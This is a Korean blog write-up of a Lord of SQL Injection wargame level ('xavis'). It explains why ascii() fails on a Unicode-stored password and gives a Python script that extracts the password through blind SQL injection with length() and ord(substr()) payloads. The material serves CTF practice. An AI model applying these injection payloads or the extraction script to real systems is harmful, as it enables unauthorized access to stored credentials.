#About
[그림 1] - 문제 화면
#Solution
[그림 2] - 쿼리 1
length 함수를 통해 pw의 길이를 구할 수 있었으며, 여지껏 8글자 였던 것과 달리 길이가 40이다
[그림 3] - 쿼리 2
[그림 4] - 쿼리 3
[그림 5] - 쿼리 4
쿼리 2~4의 과정에서 모든 값이 0임을 미루어, pw 값이 유니코드로 저장되진 않았을까 하며 아래와 같이 2개의 쿼리를 날려줌으로써 알 수 있었다
[그림 6] - 쿼리 5
[그림 7] - 쿼리 6
쿼리 5를 통해 한 글자당 4바이트를 차지함과, ascii 함수의 특징인, 인수의 가장 왼쪽 문자의 숫자 값을 반환함을 통해 유니코드임을 알 수 있었다
ex ) 4바이트 유니코드 문자 00a1이 있다 가정하면 ascii(00a1) = 00이다
따라서 쿼리 2~4의 모든 문자들이 00을 반환하므로 pw 를 추측할 수 없게 되므로 ascii가 아닌 ord를 사용하면 문제를 해결할 수 있으며
아래는 해당 문제를 해결하기 위해 작성한 파이썬 코드이다
# -*- coding:utf-8 -*-
'''
Creator = Loddy
'''
import urllib2
query_ok = "<h2>Hello admin"
key="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXZY"
print "[*] Start Search pw Length "
for len in range(1,100):
url = "http://los.eagle-jump.org/xavis_fd4389515d6540477114ec3c79623afe.php?pw='||length(pw)={}%23".format(str(len))
request = urllib2.Request(url, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36'})
request.add_header("COOKIE", "PHPSESSID=9g5q9em05r8ke6d779qkg6ipm2")
read = urllib2.urlopen(request).read()
if read.find(query_ok) != -1:
print "\t%s = Correct"%(len)
length = len
break
else :
print "\t%s = Incorrect"%(len)
print "\n",
print "[*] Start Search pw Value"
def find_pw(test,pw):
url2 = "http://los.eagle-jump.org/xavis_fd4389515d6540477114ec3c79623afe.php?pw='||ord(substr(pw,"+str(pw)+",1))={}%23".format(test)
request = urllib2.Request(url2, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36'})
request.add_header("COOKIE", "PHPSESSID=c45u9ekpnrmqctmqbocdsuead3")
read = urllib2.urlopen(request).read()
return read
for pw in range(1,11):
for test in range(128,256):
read = find_pw(test,pw)
if read.find(query_ok) != -1:
print "\t(pw,%d,1) = {}".format(test) %pw
break
[그림 8] - 코드 결과
[그림 9] - 유니코드 문자 확인
코드 결과에나온 10진수 값을 16진수로 변환 후 위와 같이 입력해주었을 때 유니코드를 확인할 수 있었다
[그림 10] - 문제 해결
'Wargame' 카테고리의 다른 글
[Cresendo] Prefetch Probelm 01 (0) | 2017.11.04 |
---|---|
[Lord of SQL Injection] Dragon (0) | 2017.11.02 |
[Lord of SQL Injection] Nightmare (0) | 2017.11.02 |
[Lord of SQL Injection] Succubus (0) | 2017.11.02 |
[Lord of SQL Injection] Zombie Assassin (0) | 2017.11.02 |